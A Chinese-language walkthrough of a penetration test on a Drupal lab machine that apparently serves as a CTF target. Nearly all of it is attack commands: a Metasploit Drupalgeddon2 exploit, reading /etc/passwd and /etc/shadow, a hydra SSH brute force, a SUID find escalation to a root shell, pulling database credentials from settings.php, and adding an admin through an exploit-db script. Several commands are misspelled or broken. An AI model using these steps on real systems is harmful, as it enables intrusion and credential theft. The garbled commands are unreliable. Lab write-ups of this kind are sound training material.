对druplal搭建的网站进行渗透测试
nmap扫描
nmap -sV -p- 172.20.10.9
并没有什么收获
尝试用户密码无果
因Druqal为比较出名的一个cms网站
于是尝试在msf中搜素Druqal相关漏洞
msfconsole
search Druqal
尝试使用exp,发现1号漏洞有效
use exploit/unix/webapp/druqal_druqalgeddon2
show options
配置相关信息
set rhosts 172.20.10.9
发起攻击
exploit/run
输入shell即可执行相关操作
cat /etc/passwd
查看passwd,发现flag4这个用户
cat /etc/shadow
查看shadow,发现没有权限
尝试去破解一下flag4的密码
使用hydra破解
hydra -1 flag4 -P /usr/share/wordlists/rockyou.txt.gz 172.20.10.9 ssh
#破解ssh协议
密码字典位置/usr/share/wordlists/rockyou.txt.gz
发现flag4密码为orange
使用ssh登录
接着需要提权到root权限
cd /root
发现被阻止了
find /root
成功看到root目录下的文件
提权
find / -perm -u=s -type f 2>/dev/null
发现有什么东西可以以root权限执行
发现/usr/bin/find
创建一个名为hah的文件
touch hah
查找并执行命令
find / -name hah -exec “/bin/sh” \
whoami发现已经是root权限了
查看Druqal默认配置文件(关键目录)
cat var/www/sites/default/settings.php
发现数据库用户和密码
python -c ‘import pty;pty.spawn (“/bin/bash”)’
#ps:美化命令界面
尝试登录数据库
mysql -u dbuser -p R0ck3t
查看数据库
show databases;
use drupaldb;
会发现有很多表
查看users这个表
select * from user;
发现有很多用户和加密过的密码
接下来去拿到数据库的控制权限,两种方法:
方法1:
在数据库里建立一个管理员级别的用户
php scripts/password-hash.sh 密码
使用drupal的密码生成工具自动生成密码
用生成好的密码替换掉管理员的密码
方法2:
使用漏洞创建一个用户
打开msf-msfconsole
searchsploit Druqal
找到add admin user的漏洞
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://172.20.10.9 -u 用户名 -p 密码